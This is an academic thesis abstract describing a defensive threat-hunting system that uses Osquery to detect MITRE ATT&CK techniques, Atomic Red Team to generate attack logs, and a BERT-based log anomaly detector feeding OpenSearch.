Threat Hunting driven by Cyber Threat Intelligence

The ever-increasing number of cyber-attacks and cyber-criminal activities necessitates the implementation of countermeasures to protect both public and private businesses. In Italy, the government has decided to take steps to ensure a high level of security for networks, information systems and services especially for the public administrations. The "Perimetro di Sicurezza Nazionale Cibernetica" (PSNC) was established and public and private stakeholders that provide crucial services for the maintenance of civil, social or economic activities that are essential to the state’s interests have been included in it. Given the clear demand for models, methodologies and tools to carry out operational tasks efficiently, this thesis focuses on Cyber Threat Intelligence and Cyber Threat Hunting technologies. The goal of this thesis work is to propose a method for making intelligence data actionable leveraging analysis tools, Machine Learning and SIEMs. Everything was done in an open source style, with strong emphasis on endpoints. The work analyses and signals anomalous operations with the goal to improve the state of the art of open source applications. The first part focuses mostly on cyber threat intelligence data and progresses through studies of CTI ontologies, taxonomies, and languages before concluding with the choice to focus efforts on the well-known MITRE ATT&CK framework. ATT&CK contains a huge amount of valuable knowledge, however it remains at a high level (focusing on TTPs, meaning Tactics, Techniques and Procedures), whereas it would be beneficial to make it more actionable in a practical manner. This section of the project focuses on detecting a subset of MITRE ATT&CK techniques using the open-source Osquery tool as a sensor for collecting logs. To capture logs of cyber attacks Atomic Red Team was used: developed by Red Canary, it is a framework for testing ATT&CK techniques by executing atomic attacks against a target system. The second part of the thesis is focused on Cyber Threat Hunting, Machine Learning, log collection and delivery. Among many popular open source tools, the ELK stack (ElasticSearch, Logstash and Kibana) technology was selected, exploited by OpenSearch, which is an open source tool released by Amazon. The ELK infrastructure is built upon Docker containers, which ensures perfomance and a plug&play configuration. A new algorithm is proposed based on BERT, a state of the art Machine Learning algorithm initially developed by Google. The algorithm performs Cyber Intrusion Detection using Natural Language Processing to learn a baseline of normal logs and eventually recognize anomalous ones. Detected logs are collected by Filebeat, an agent of the ELK stack, and sent to OpenSearch. The user endpoint is where the two halves meet together: logs are gathered by the Osquery sensor, analysed and sent to OpenSearch. This procedure has two outcomes: testing the effectiveness of queries in recognizing MITRE ATT&CK techniques and verifying the ability of the new algorithm to identify malicious logs. This can be considered as a baseline implementation and future work must be done in order to improve the solution and strengthen the connection of the components. This thesis is a joint effort of Federico Talentino and Alessandro Bolla where, considering the two major parts of the work identified above, Federico focused on the first half of it while Alessandro on the second one.